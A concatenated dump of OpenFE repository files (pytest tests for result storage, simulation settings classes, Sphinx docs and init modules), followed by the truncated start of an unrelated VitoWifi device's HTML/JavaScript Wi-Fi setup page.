"transformations/MAIN_TRANS/0/1/file.txt", "transformations/MAIN_TRANS/1/0/file.txt", "transformations/OTHER_TRANS/0/0/file.txt", "other_dir/file.txt", ] for file in empty_files: result_client.result_server.store_bytes(file, b"") # empty return result_client def _make_mock_transformation(hash_str): return mock.Mock( # TODO: fill this in so that it mocks out the digest we use ) def test_load_file(result_client): file_handler = result_client / "MAIN_TRANS" / "0" / 0 / "file.txt" with file_handler as f: assert f.read().decode('utf-8') == "foo" class _ResultContainerTest: @staticmethod def get_container(result_client): raise NotImplementedError() def _getitem_object(self, container): raise NotImplementedError() def test_iter(self, result_client): container = self.get_container(result_client) assert set(container) == set(self.expected_files) def _get_key(self, as_object, container): # TODO: this isn't working yet -- need an interface that allows me # to patch the hex digest that we'll be using if as_object: pytest.skip("Waiting on hex digest patching") obj = self._getitem_object(container) # next line uses some internal implementation key = obj if as_object else obj._path_component return key, obj @pytest.mark.parametrize('as_object', [True, False]) def test_getitem(self, as_object, result_client): container = self.get_container(result_client) key, obj = self._get_key(as_object, container) assert container[key] == obj @pytest.mark.parametrize('as_object', [True, False]) def test_div(self, as_object, result_client): container = self.get_container(result_client) key, obj = self._get_key(as_object, container) assert container / key == obj @pytest.mark.parametrize('load_with', ['div', 'getitem']) def test_caching(self, result_client, load_with): # used to test caching regardless of how first loaded was loaded container = self.get_container(result_client) key, obj = self._get_key(False, container) if load_with == 'div': loaded = container / key elif load_with == 'getitem': loaded = container[key] else: # -no-cov- raise RuntimeError(f"Bad input: can't load with '{load_with}'") assert loaded == obj assert loaded is not obj reloaded_div = container / key reloaded_getitem = container[key] assert loaded is reloaded_div assert reloaded_div is reloaded_getitem def test_load_stream(self, result_client): container = self.get_container(result_client) loc = "transformations/MAIN_TRANS/0/0/file.txt" with container.load_stream(loc) as f: assert f.read().decode('utf-8') == "foo" def test_load_bytes(self, result_client): container = self.get_container(result_client) loc = "transformations/MAIN_TRANS/0/0/file.txt" assert container.load_bytes(loc).decode('utf-8') == "foo" def test_path(self, result_client): container = self.get_container(result_client) assert container.path == self.expected_path def test_result_server(self, result_client): container = self.get_container(result_client) assert container.result_server == result_client.result_server class TestResultClient(_ResultContainerTest): expected_files = [ "transformations/MAIN_TRANS/0/0/file.txt", "transformations/MAIN_TRANS/0/0/other.txt", "transformations/MAIN_TRANS/0/1/file.txt", "transformations/MAIN_TRANS/1/0/file.txt", "transformations/OTHER_TRANS/0/0/file.txt", ] expected_path = "transformations" @staticmethod def get_container(result_client): return result_client def _getitem_object(self, container): return TransformationResult( parent=container, transformation=_make_mock_transformation("MAIN_TRANS") ) def test_store_protocol_dag_result(self): pytest.skip("Not implemented yet") @staticmethod def _test_store_load_same_process(obj, store_func_name, load_func_name): store = MemoryStorage() client = ResultClient(store) store_func = getattr(client, store_func_name) load_func = getattr(client, load_func_name) assert store._data == {} store_func(obj) assert store._data != {} reloaded = load_func(obj.key) assert reloaded is obj @staticmethod def _test_store_load_different_process(obj, store_func_name, load_func_name): store = MemoryStorage() client = ResultClient(store) store_func = getattr(client, store_func_name) load_func = getattr(client, load_func_name) assert store._data == {} store_func(obj) assert store._data != {} # make it look like we have an empty cache, as if this was a # different process key = obj.key registry_dict = "gufe.tokenization.TOKENIZABLE_REGISTRY" with mock.patch.dict(registry_dict, {}, clear=True): reload = load_func(key) assert reload == obj assert reload is not obj @pytest.mark.parametrize("fixture", [ "absolute_transformation", "complex_equilibrium", ]) def test_store_load_transformation_same_process(self, request, fixture): transformation = request.getfixturevalue(fixture) self._test_store_load_same_process(transformation, "store_transformation", "load_transformation") @pytest.mark.parametrize('fixture', [ "absolute_transformation", "complex_equilibrium", ]) def test_store_load_transformation_different_process(self, request, fixture): transformation = request.getfixturevalue(fixture) self._test_store_load_different_process(transformation, "store_transformation", "load_transformation") @pytest.mark.parametrize("fixture", ["benzene_variants_star_map"]) def test_store_load_network_same_process(self, request, fixture): network = request.getfixturevalue(fixture) self._test_store_load_same_process(network, "store_network", "load_network") @pytest.mark.parametrize("fixture", ["benzene_variants_star_map"]) def test_store_load_network_different_process(self, request, fixture): network = request.getfixturevalue(fixture) self._test_store_load_different_process(network, "store_network", "load_network") def test_delete(self, result_client): file_to_delete = self.expected_files[0] storage = result_client.result_server.external_store assert storage.exists(file_to_delete) result_client.delete(file_to_delete) assert not storage.exists(file_to_delete) class TestTransformationResults(_ResultContainerTest): expected_files = [ "transformations/MAIN_TRANS/0/0/file.txt", "transformations/MAIN_TRANS/0/0/other.txt", "transformations/MAIN_TRANS/0/1/file.txt", "transformations/MAIN_TRANS/1/0/file.txt", ] expected_path = "transformations/MAIN_TRANS" @staticmethod def get_container(result_client): container = TransformationResult( parent=TestResultClient.get_container(result_client), transformation=_make_mock_transformation("MAIN_TRANS") ) container._path_component = "MAIN_TRANS" return container def _getitem_object(self, container): return CloneResult(parent=container, clone=0) class TestCloneResults(_ResultContainerTest): expected_files = [ "transformations/MAIN_TRANS/0/0/file.txt", "transformations/MAIN_TRANS/0/0/other.txt", "transformations/MAIN_TRANS/0/1/file.txt", ] expected_path = "transformations/MAIN_TRANS/0" @staticmethod def get_container(result_client): return CloneResult( parent=TestTransformationResults.get_container(result_client), clone=0 ) def _getitem_object(self, container): return ExtensionResult(parent=container, extension=0) class TestExtensionResults(_ResultContainerTest): expected_files = [ "transformations/MAIN_TRANS/0/0/file.txt", "transformations/MAIN_TRANS/0/0/other.txt", ] expected_path = "transformations/MAIN_TRANS/0/0" @staticmethod def get_container(result_client): return ExtensionResult( parent=TestCloneResults.get_container(result_client), extension=0 ) def _get_key(self, as_object, container): if self.as_object: # -no-cov- raise RuntimeError("TestExtensionResults does not support " "as_object=True") path = "transformations/MAIN_TRANS/0/0/" fname = "file.txt" return fname, container.result_server.load_stream(path + fname) # things involving div and getitem need custom treatment def test_div(self, result_client): container = self.get_container(result_client) with container / "file.txt" as f: assert f.read().decode('utf-8') == "foo" def test_getitem(self, result_client): container = self.get_container(result_client) with container["file.txt"] as f: assert f.read().decode('utf-8') == "foo" def test_caching(self, result_client): # this one does not cache results; the cache should remain empty container = self.get_container(result_client) assert container._cache == {} from_div = container / "file.txt" assert container._cache == {} from_getitem = container["file.txt"] assert container._cache == {} <file_sep>Working with Results ==================== This section is still under construction. In the meantime, please contact us on our `issue tracker <https://github.com/OpenFreeEnergy/openfe/issues>`_ if you have any questions about analysing your results! <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe """Equilibrium Relative Free Energy Protocol input settings. This module implements the necessary settings necessary to run absolute free energies using :class:`openfe.protocols.openmm_rfe.equil_rfe_methods.py` """ from __future__ import annotations from typing import Optional from pydantic import validator from openff.units import unit import os from gufe.settings import ( Settings, SettingsBaseModel, OpenMMSystemGeneratorFFSettings, ThermoSettings, ) class SystemSettings(SettingsBaseModel): """Settings describing the simulation system settings.""" class Config: arbitrary_types_allowed = True nonbonded_method = 'PME' """ Method for treating nonbonded interactions, currently only PME and NoCutoff are allowed. Default PME. """ nonbonded_cutoff = 1.0 * unit.nanometer """ Cutoff value for short range nonbonded interactions. Default 1.0 * unit.nanometer. """ @validator('nonbonded_method') def allowed_nonbonded(cls, v): if v.lower() not in ['pme', 'nocutoff']: errmsg = ("Only PME and NoCutoff are allowed nonbonded_methods") raise ValueError(errmsg) return v @validator('nonbonded_cutoff') def is_positive_distance(cls, v): # these are time units, not simulation steps if not v.is_compatible_with(unit.nanometer): raise ValueError("nonbonded_cutoff must be in distance units " "(i.e. nanometers)") if v < 0: errmsg = "nonbonded_cutoff must be a positive value" raise ValueError(errmsg) return v class SolvationSettings(SettingsBaseModel): """Settings for solvating the system Note ---- No solvation will happen if a SolventComponent is not passed. """ class Config: arbitrary_types_allowed = True solvent_model = 'tip3p' """ Force field water model to use. Allowed values are; `tip3p`, `spce`, `tip4pew`, and `tip5p`. """ solvent_padding = 1.2 * unit.nanometer """Minimum distance from any solute atoms to the solvent box edge.""" @validator('solvent_model') def allowed_solvent(cls, v): allowed_models = ['tip3p', 'spce', 'tip4pew', 'tip5p'] if v.lower() not in allowed_models: errmsg = ( f"Only {allowed_models} are allowed solvent_model values" ) raise ValueError(errmsg) return v @validator('solvent_padding') def is_positive_distance(cls, v): # these are time units, not simulation steps if not v.is_compatible_with(unit.nanometer): raise ValueError("solvent_padding must be in distance units " "(i.e. nanometers)") if v < 0: errmsg = "solvent_padding must be a positive value" raise ValueError(errmsg) return v class AlchemicalSamplerSettings(SettingsBaseModel): """Settings for the Equilibrium Alchemical sampler, currently supporting either MultistateSampler, SAMSSampler or ReplicaExchangeSampler. """ """ TODO ---- * It'd be great if we could pass in the sampler object rather than using strings to define which one we want. * Make n_replicas optional such that: If `None` or greater than the number of lambda windows set in :class:`AlchemicalSettings`, this will default to the number of lambda windows. If less than the number of lambda windows, the replica lambda states will be picked at equidistant intervals along the lambda schedule. """ class Config: arbitrary_types_allowed = True sampler_method = "repex" """ Alchemical sampling method, must be one of; `repex` (Hamiltonian Replica Exchange), `sams` (Self-Adjusted Mixture Sampling), or `independent` (independently sampled lambda windows). Default `repex`. """ online_analysis_interval: Optional[int] = 250 """ MCMC steps (i.e. ``IntegratorSettings.n_steps``) interval at which to perform an analysis of the free energies. At each interval, real time analysis data (e.g. current free energy estimate and timing data) will be written to a yaml file named ``<SimulationSettings.output_name>_real_time_analysis.yaml``. The current error in the estimate will also be assed and if it drops below ``AlchemicalSamplerSettings.online_analysis_target_error`` the simulation will be terminated. If ``None``, no real time analysis will be performed and the yaml file will not be written. Must be a multiple of ``SimulationSettings.checkpoint_interval`` Default `250`. """ online_analysis_target_error = 0.0 * unit.boltzmann_constant * unit.kelvin """ Target error for the online analysis measured in kT. Once the free energy is at or below this value, the simulation will be considered complete. A suggested value of 0.2 * `unit.boltzmann_constant` * `unit.kelvin` has shown to be effective in both hydration and binding free energy benchmarks. Default 0.0 * `unit.boltzmann_constant` * `unit.kelvin`, i.e. no early termination will occur. """ online_analysis_minimum_iterations = 500 """ Number of iterations which must pass before online analysis is carried out. Default 500. """ n_repeats: int = 3 """ Number of independent repeats to run. Default 3 """ flatness_criteria = 'logZ-flatness' """ SAMS only. Method for assessing when to switch to asymptomatically optimal scheme. One of ['logZ-flatness', 'minimum-visits', 'histogram-flatness']. Default 'logZ-flatness'. """ gamma0 = 1.0 """SAMS only. Initial weight adaptation rate. Default 1.0.""" n_replicas = 11 """Number of replicas to use. Default 11.""" @validator('flatness_criteria') def supported_flatness(cls, v): supported = [ 'logz-flatness', 'minimum-visits', 'histogram-flatness' ] if v.lower() not in supported: errmsg = ("Only the following flatness_criteria are " f"supported: {supported}") raise ValueError(errmsg) return v @validator('sampler_method') def supported_sampler(cls, v): supported = ['repex', 'sams', 'independent'] if v.lower() not in supported: errmsg = ("Only the following sampler_method values are " f"supported: {supported}") raise ValueError(errmsg) return v @validator('n_repeats', 'n_replicas') def must_be_positive(cls, v): if v <= 0: errmsg = "n_repeats and n_replicas must be positive values" raise ValueError(errmsg) return v @validator('online_analysis_target_error', 'n_repeats', 'online_analysis_minimum_iterations', 'gamma0', 'n_replicas') def must_be_zero_or_positive(cls, v): if v < 0: errmsg = ("Online analysis target error, minimum iteration " "and SAMS gamm0 must be 0 or positive values.") raise ValueError(errmsg) return v class OpenMMEngineSettings(SettingsBaseModel): """OpenMM MD engine settings""" """ TODO ---- * In the future make precision and deterministic forces user defined too. """ compute_platform: Optional[str] = None """ OpenMM compute platform to perform MD integration with. If None, will choose fastest available platform. Default None. """ class IntegratorSettings(SettingsBaseModel): """Settings for the LangevinSplittingDynamicsMove integrator""" class Config: arbitrary_types_allowed = True timestep = 4 * unit.femtosecond """Size of the simulation timestep. Default 4 * unit.femtosecond.""" collision_rate = 1.0 / unit.picosecond """Collision frequency. Default 1.0 / unit.pisecond.""" n_steps = 250 * unit.timestep """ Number of integration timesteps between each time the MCMC move is applied. Default 250 * unit.timestep. """ reassign_velocities = False """ If True, velocities are reassigned from the Maxwell-Boltzmann distribution at the beginning of move. Default False. """ n_restart_attempts = 20 """ Number of attempts to restart from Context if there are NaNs in the energies after integration. Default 20. """ constraint_tolerance = 1e-06 """Tolerance for the constraint solver. Default 1e-6.""" barostat_frequency = 25 * unit.timestep """ Frequency at which volume scaling changes should be attempted. Default 25 * unit.timestep. """ @validator('collision_rate', 'n_restart_attempts') def must_be_positive_or_zero(cls, v): if v < 0: errmsg = ("collision_rate, and n_restart_attempts must be " "zero or positive values") raise ValueError(errmsg) return v @validator('timestep', 'n_steps', 'constraint_tolerance') def must_be_positive(cls, v): if v <= 0: errmsg = ("timestep, n_steps, constraint_tolerance " "must be positive values") raise ValueError(errmsg) return v @validator('timestep') def is_time(cls, v): # these are time units, not simulation steps if not v.is_compatible_with(unit.picosecond): raise ValueError("timestep must be in time units " "(i.e. picoseconds)") return v @validator('collision_rate') def must_be_inverse_time(cls, v): if not v.is_compatible_with(1 / unit.picosecond): raise ValueError("collision_rate must be in inverse time " "(i.e. 1/picoseconds)") return v class SimulationSettings(SettingsBaseModel): """ Settings for simulation control, including lengths, writing to disk, etc... """ class Config: arbitrary_types_allowed = True minimization_steps = 5000 """Number of minimization steps to perform. Default 5000.""" equilibration_length: unit.Quantity """ Length of the equilibration phase in units of time. The total number of steps from this equilibration length (i.e. ``equilibration_length`` / :class:`IntegratorSettings.timestep`) must be a multiple of the value defined for :class:`IntegratorSettings.n_steps`. """ production_length: unit.Quantity """ Length of the production phase in units of time. The total number of steps from this production length (i.e. ``production_length`` / :class:`IntegratorSettings.timestep`) must be a multiple of the value defined for :class:`IntegratorSettings.nsteps`. """ # reporter settings output_filename = 'simulation.nc' """Path to the trajectory storage file. Default 'simulation.nc'.""" output_structure = 'hybrid_system.pdb' """ Path of the output hybrid topology structure file. This is used to visualise and further manipulate the system. Default 'hybrid_system.pdb'. """ output_indices = 'not water' """ Selection string for which part of the system to write coordinates for. Default 'not water'. """ checkpoint_interval = 250 * unit.timestep """ Frequency to write the checkpoint file. Default 250 * unit.timestep. """ checkpoint_storage = 'checkpoint.nc' """ Separate filename for the checkpoint file. Note, this should not be a full path, just a filename. Default 'checkpoint.nc'. """ forcefield_cache: Optional[str] = 'db.json' """ Filename for caching small molecule residue templates so they can be later reused. """ @validator('equilibration_length', 'production_length') def is_time(cls, v): # these are time units, not simulation steps if not v.is_compatible_with(unit.picosecond): raise ValueError("Durations must be in time units") return v @validator('minimization_steps', 'equilibration_length', 'production_length', 'checkpoint_interval') def must_be_positive(cls, v): if v <= 0: errmsg = ("Minimization steps, MD lengths, and checkpoint " "intervals must be positive") raise ValueError(errmsg) return v <file_sep>.. _api: OpenFE API Reference ==================== .. toctree:: :maxdepth: 2 alchemical_data_objects ligand_network alchemical_network_planning defining_and_executing_simulations openmm_rfe <file_sep>Simulation Setup ================ This section provides details on how to set up a free energy calculation. This will get you from your SDF/MOL2/PDB files to an :class:`.AlchemicalNetwork`, which contains all the information to run a simulation campaign. The first thing you will need to do will be to load in your molecules. OpenFE can small molecules from anything that RDKit can handle, and can load proteins from PDB or PDBx. For details of this, see :ref:`loading molecules <Loading Molecules>`. The procedure for setting up a simulation depends somewhat on the on the type of free energy calculation you are running. See more detailed instructions can be found under: .. toctree:: define_rbfe define_rhfe .. toctree (hidden): chemical components and chemical systems If you intend to set up your alchemical network using the Python interface, but to run it using the CLI, you will want to export the network in the same format used by the CLI. See :ref:`dumping transformations <dumping_transformations>` for more details. .. TODO link to docs on outputting the network .. toctree:: :hidden: define_ligand_network <file_sep>import pytest from openfe.setup import LigandAtomMapping pytest.importorskip('py3Dmol') from openfe.utils.visualization_3D import view_mapping_3d, view_components_3d @pytest.fixture(scope="module") def maps(): MAPS = { "phenol": {0: 0, 1: 1, 2: 2, 3: 3, 4: 4, 5: 5, 6: 6, 7: 7, 8: 8, 9: 9, 10: 12, 11: 11}, "anisole": {0: 5, 1: 6, 2: 7, 3: 8, 4: 9, 5: 10, 6: 11, 7: 12, 8: 13, 9: 14, 10: 2, 11: 15}, } return MAPS @pytest.fixture(scope="module") def benzene_phenol_mapping(benzene_transforms, maps): mol1 = benzene_transforms["benzene"] mol2 = benzene_transforms["phenol"] mapping = maps["phenol"] return LigandAtomMapping(mol1, mol2, mapping) def test_visualize_component_coords_give_iterable(benzene_transforms): """ smoke test just checking if nothing goes horribly wrong """ components = [benzene_transforms["benzene"], benzene_transforms["phenol"]] view_components_3d(components, style="stick") def test_visualize_component_coords_give_iterable_shift(benzene_transforms): """ smoke test just checking if nothing goes horribly wrong """ components = [benzene_transforms["benzene"], benzene_transforms["phenol"]] view_components_3d(components, shift=(1, 1, 1)) def test_visualize_component_coords_reuse_view(benzene_transforms): """ smoke test just checking if nothing goes horribly wrong """ components = [benzene_transforms["benzene"], benzene_transforms["phenol"]] view = view_components_3d(components, shift=(1, 1, 1)) view_components_3d(components, view=view) def test_visualize_3D_mapping(benzene_phenol_mapping): """ smoke test just checking if nothing goes horribly wrong """ view_mapping_3d(mapping=benzene_phenol_mapping) <file_sep>from gufe import ( ChemicalSystem, Component, ProteinComponent, SmallMoleculeComponent, SolventComponent, Transformation, AlchemicalNetwork, LigandAtomMapping, ) from gufe.protocols import ( Protocol, ProtocolDAG, ProtocolUnit, ProtocolUnitResult, ProtocolUnitFailure, ProtocolDAGResult, ProtocolResult, execute_DAG, ) from . import utils from . import setup from .setup import ( LomapAtomMapper, lomap_scorers, PersesAtomMapper, perses_scorers, ligand_network_planning, LigandNetwork, LigandAtomMapper, ) from . import orchestration from . import analysis from importlib.metadata import version __version__ = version("openfe") <file_sep>Ligand Network Tools ==================== Atom Mappers ------------ .. module:: openfe.setup :noindex: .. autosummary:: :nosignatures: :toctree: generated/ LomapAtomMapper PersesAtomMapper Scorers ------- LOMAP Scorers ~~~~~~~~~~~~~ .. apparently we need the atom_mapping because internally autofunction is trying ``import openfe.setup.lomap_scorers``, which doesn't work (whereas ``from openfe.setup import lomap_scorers`` does) .. module:: openfe.setup.atom_mapping.lomap_scorers .. autosummary:: :nosignatures: :toctree: generated/ default_lomap_score ecr_score mcsr_score mncar_score tmcsr_score atomic_number_score hybridization_score sulfonamides_score heterocycles_score transmuting_methyl_into_ring_score transmuting_ring_sizes_score PersesScorers ~~~~~~~~~~~~~ .. module:: openfe.setup.atom_mapping.perses_scorers .. autosummary:: :nosignatures: :toctree: generated/ default_perses_scorer Network Planners ---------------- .. module:: openfe.setup.ligand_network_planning .. autosummary:: :nosignatures: :toctree: generated/ generate_radial_network generate_maximal_network generate_minimal_spanning_network <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe from .plugins import OFECommandPlugin from . import commands from importlib.metadata import version __version__ = version("openfe") <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe from . import custom_typing from .optional_imports import requires_package from .remove_oechem import without_oechem_backend <file_sep>import os import pathlib import importlib from importlib import resources from openfecli.parameters.output_dir import get_dir def test_get_output_dir(): with importlib.resources.path("openfe.tests", "__init__.py") as file_path: dir_path = os.path.dirname(file_path) out_dir = get_dir(dir_path, None) assert isinstance(out_dir, pathlib.Path) assert out_dir.parent.exists() <file_sep>import pytest from unittest import mock import pathlib from openfe.storage.resultserver import ResultServer from gufe.storage.externalresource.base import Metadata from gufe.storage.externalresource import FileStorage from openfe.storage.metadatastore import JSONMetadataStore from gufe.storage.errors import ( MissingExternalResourceError, ChangedExternalResourceError ) @pytest.fixture def result_server(tmpdir): external = FileStorage(tmpdir) metadata = JSONMetadataStore(external) result_server = ResultServer(external, metadata) result_server.store_bytes("path/to/foo.txt", "foo".encode('utf-8')) return result_server class TestResultServer: def test_store_bytes(self, result_server): # first check the thing stored during the fixture metadata_store = result_server.metadata_store foo_loc = "path/to/foo.txt" assert len(metadata_store) == 1 assert foo_loc in metadata_store assert result_server.external_store.exists(foo_loc) # also explicitly test storing here mock_hash = mock.Mock( return_value=mock.Mock( hexdigest=mock.Mock(return_value="deadbeef") ) ) bar_loc = "path/to/bar.txt" with mock.patch('hashlib.md5', mock_hash): result_server.store_bytes(bar_loc, "bar".encode('utf-8')) assert len(metadata_store) == 2 assert bar_loc in metadata_store assert result_server.external_store.exists(bar_loc) assert metadata_store[bar_loc].to_dict() == {"md5": "deadbeef"} external = result_server.external_store with external.load_stream(bar_loc) as f: assert f.read().decode('utf-8') == "bar" def test_store_path(self, result_server, tmp_path): orig_file = tmp_path / ".hidden" / "bar.txt" orig_file.parent.mkdir(parents=True, exist_ok=True) with open(orig_file, mode='wb') as f: f.write("bar".encode('utf-8')) mock_hash = mock.Mock( return_value=mock.Mock( hexdigest=mock.Mock(return_value="deadc0de") ) ) bar_loc = "path/to/bar.txt" assert len(result_server.metadata_store) == 1 assert bar_loc not in result_server.metadata_store with mock.patch('hashlib.md5', mock_hash): result_server.store_path(bar_loc, orig_file) assert len(result_server.metadata_store) == 2 assert bar_loc in result_server.metadata_store metadata_dict = result_server.metadata_store[bar_loc].to_dict() assert metadata_dict == {"md5": "deadc0de"} external = result_server.external_store with external.load_stream(bar_loc) as f: assert f.read().decode('utf-8') == "bar" def test_iter(self, result_server): assert list(result_server) == ["path/to/foo.txt"] def test_find_missing_files(self, result_server): meta = Metadata(md5="1badc0de") result_server.metadata_store.store_metadata("fake/file.txt", meta) assert result_server.find_missing_files() == ["fake/file.txt"] def test_load_stream(self, result_server): with result_server.load_stream('path/to/foo.txt') as f: contents = f.read() assert contents.decode('utf-8') == "foo" def test_delete(self, result_server, tmpdir): location = "path/to/foo.txt" path = tmpdir / pathlib.Path(location) assert path.exists() assert location in result_server.metadata_store result_server.delete(location) assert not path.exists() assert location not in result_server.metadata_store def test_load_stream_missing(self, result_server): with pytest.raises(MissingExternalResourceError, match="not found"): result_server.load_stream("path/does/not/exist.txt") def test_load_stream_error_bad_hash(self, result_server): meta = Metadata(md5='1badc0de') result_server.metadata_store.store_metadata('path/to/foo.txt', meta) with pytest.raises(ChangedExternalResourceError): result_server.load_stream('path/to/foo.txt') def test_load_stream_allow_bad_hash(self, result_server): meta = Metadata(md5='1badc0de') result_server.metadata_store.store_metadata('path/to/foo.txt', meta) with pytest.warns(UserWarning, match="Metadata mismatch"): file = result_server.load_stream("path/to/foo.txt", allow_changed=True) with file as f: assert f.read().decode("utf-8") == "foo" <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe from __future__ import annotations import os from collections import defaultdict import json import pathlib from openfecli.utils import write import typing def plan_alchemical_network_output( alchemical_network: AlchemicalNetwork, ligand_network: LigandNetwork, folder_path: pathlib.Path ): """Write the contents of an alchemical network into the structure """ import gufe from gufe import tokenization an_dict = alchemical_network.to_dict() base_name = folder_path.name folder_path.mkdir(parents=True, exist_ok=True) an_json = folder_path / f"{base_name}.json" json.dump(an_dict, an_json.open(mode="w"), cls=tokenization.JSON_HANDLER.encoder) write("\t\t- " + base_name + ".json") ln_fname = "ligand_network.graphml" with open(folder_path / ln_fname, mode='w') as f: f.write(ligand_network.to_graphml()) write(f"\t\t- {ln_fname}") transformations_dir = folder_path / "transformations" transformations_dir.mkdir(parents=True, exist_ok=True) for transformation in alchemical_network.edges: transformation_name = transformation.name or transformation.key filename = f"{transformation_name}.json" transformation.dump(transformations_dir / filename) write("\t\t\t\t- " + filename) <file_sep> Execution --------- Given a :class:`.Transformation`, the easiest way to run it is to use the :func:`.execute_DAG` method. This will take the `.Transformation` object and execute its `.ProtocolUnit` instances serially. Once complete it will return a :class:`.ProtocolDAGResult`. Multiple ProtocolDAGResults from a given transformation can be analyzed together with :meth:`.Protocol.gather` to create a :class:`.ProtocolResult`. .. TODO: add information about failures etc... <file_sep> ## Developers certificate of origin - [ ] I certify that this contribution is covered by the MIT License [here](https://github.com/OpenFreeEnergy/openfe/blob/main/LICENSE) and the **Developer Certificate of Origin** at <https://developercertificate.org/>. <file_sep>.. _cli-reference: CLI Reference ============= .. toctree:: :maxdepth: 1 plan_rhfe_network plan_rbfe_network quickrun gather
89dd1700016554796dd6e416c190a34a515c5cc1
[ "reStructuredText", "Markdown", "TOML", "Python", "Dockerfile" ]
159
Python
OpenFreeEnergy/openfe
e420b67dcbce2d0f7f17e926d47eb36df1b0404e
1914c5546589dab53f0af382369d101786b2511b
refs/heads/master
<repo_name>apdlv72/VitoWifi<file_sep>/setup.html.h R"=====(<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd"> <html> <head> <title>VitoWifi Setup</title> <meta charset="utf-8"> <meta name="mobile-web-app-capable" content="yes"> <meta name="viewport" content="width=device-width"> <link rel="manifest" href="manifest.json"> <link rel="icon" sizes="192x192" href="homeicon.png"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <script> function g(i){return document.getElementById(i);} function v(i){return g(i).value;} function tc(id,v){g(id).textContent=v;} function e(x){return encodeURIComponent(x);} function l(x){try{console.log(x);}catch(e){}} function showError(txt,rc,rsp,j){tc('errmsg',txt);show('error');setTimeout(function(){hide('error')},2000);} function vi(i,v){g(i).style.visibility=v?"visible":"hidden";} function hide(i){vi(i,0);} function show(i){vi(i,1);} function ajax(qs,succFunc,failFunc,data) { var r=window.XMLHttpRequest?new XMLHttpRequest():new ActiveXObject("Microsoft.XMLHTTP"); var u='/ajax?'+qs; r.onreadystatechange=function(){ if(r.readyState==XMLHttpRequest.DONE){ var j; l('resp: '+r.status+' '+r.responseText); if(200==r.status){ try{j=JSON.parse(r.responseText);}catch(e){} if (j&&"1"==j['ok'])return succFunc(data,j); } return failFunc(data,r.status,r.responseText,j); } } l('ajax: '+u); try{r.open("GET",u,true);r.send();}catch(e){failFunc(0,'',''+e);} } function onConnected(d,j){ hide('connecting'); //l('onConnected: d='+d+',j='+j); var a=j['addr'];var s=d['ssid'];var t=d['token']; tc('addr2',a);tc('netw2a',s);tc('netw2b',s); var l="http://"+a+"/setup?a=confirm&t="+e(t); try{tc('link2',l);g('link2').href=l;}catch(e){} show('connected'); } function onWaitConnectedTimeout(){showError("Reboot timed out");} function onWaitConnectedFailed(d,rc,rsp,j){showError("Error checking reboot status.",rc,rsp);} function onWaitConnected(d,j){ var s=j['status']; var ssid=d['ssid']; var token=d['token']; //l('onWaitConnected: ssid='+ssid+', token='+token); if("0"==s)onConnected(d,j); if("1"==s){ g('progr1').textContent+='▉'; tc('time',j['left']); setTimeout(function(){waitTillConnected(ssid,token);},1000); } if("2"==s)onWaitConnectedTimeout(); } function waitTillConnected(ssid,token){ajax("a=wait&t="+token,onWaitConnected,onWaitConnectedFailed,{'ssid':ssid,'token':token});} function onSetNetworkFailed(d,rc,msg,j){showError('Failed to set network credentials. '+msg);} function onSetNetwork(d,j){ var ssid=v('ssid'); tc('netw1',ssid); show('connecting'); g('progr1').textContent='▉'; waitTillConnected(ssid,j['token']); } function setNetwork(){ var ssid=v('ssid'); var psk=v('psk'); if (""==ssid||""==psk)return showError("Network or password empty"); if (psk.length<8)return showError("Minimum password length: 8 characters"); var qs="a=set&ssid="+e(ssid)+"&psk="+e(psk); ajax(qs,onSetNetwork,onSetNetworkFailed); } function onNetworkInfoFailed(d,rc,rsp,j){showError('Failed to get network/address info.',rc,rsp,j);} function onNetworkInfo(d,j){tc('nwssid3',j['nwssid']);tc('saddr3',j['saddr']);tc('caddr3',j['caddr']);show('configap');} function getNetworkInfo(){ajax('a=status',onNetworkInfo,onNetworkInfoFailed,{});} function onWaitRebootFailed(d,rc,rsp,j){showError("Failed to check status.",rc,rsp,j);} function onWaitReboot(d,j){document.location="/";} function waitTillRebooted(){ajax('a=status',onWaitReboot,onWaitRebootFailed,{});} function onSetAPFailed(d,rc,rsp,j){showError('Failed to save changes. '+j['msg'],rc,rsp,j);} function onSetAP(d,j){ hide('configap'); setTimeout(function(){waitTillRebooted();},2000); show('rebooting'); } function setAP(){ var keepap=g('keepap').checked; var token=v('_token_'); var apssid=v('apssid'); var appsk1=v('appsk1'); var appsk2=v('appsk2'); var qs="a=save&t="+e(token); if (keepap){ if (apssid=="")return showError("AP name must not be empty"); if (appsk1!=appsk2)return showError("Passwords do not match"); if (appsk1.length<8)return showError("Minimum password length is 8 characters"); qs+="&ap=1&apssid="+e(apssid)+"&appsk="+e(appsk1); }else{ qs+="&ap=0"; } ajax(qs,onSetAP,onSetAPFailed,{}); setInterval(function(){g('progr4').textContent+='▉';},500); } function checkKeep(){g('apcreds').style.display=g('keepap').checked?"block":"none";} function onLoad(){ var u=document.URL; if(u.indexOf('a=confirm')>-1){ g('_token_').value=u.replace(/.*&t=/,'').replace(/&.*/,''); getNetworkInfo(); } } </script> <style> body{font-family:Arial; background:-webkit-radial-gradient(center,circle,rgba(255,255,255,.35),rgba(255,255,255,0) 20%,rgba(255,255,255,0) 21%),-webkit-radial-gradient(center,circle,rgba(0,0,0,.2),rgba(0,0,0,0) 20%,rgba(0,0,0,0) 21%),-webkit-radial-gradient(center,circle farthest-corner,#f0f0f0,#c0c0c0); background-size:10px 10px,10px 10px,100% 100%; background-position:1px 1px,0px 0px,centercenter;} .modal{visibility:hidden;position:absolute;top:0;left:0;width:100%;height:100%;background-color:rgba(0,0,40,0.6);} .dia{position:relative;top:10%;left:10%;width:80%;background-color:rgba(255,255,255,0.9);border-radius:1em;box-shadow:black 4px 4px 10px;} .close{position:absolute;right:2ex;top:1ex;} .t{color:#888;text-shadow:#fff -1px -1px 1px,#000 1px 1px 1px;} .c{text-align:center;} .butt{box-shadow:rgba(0,0,0,0.5) 0px 0px 20px;} </style> </head> <body onload="onLoad()"> <div id="connecting" class="modal"> <div class="dia"> <div style="padding:1em"> <div><h2 class="t" id="title1">Connecting 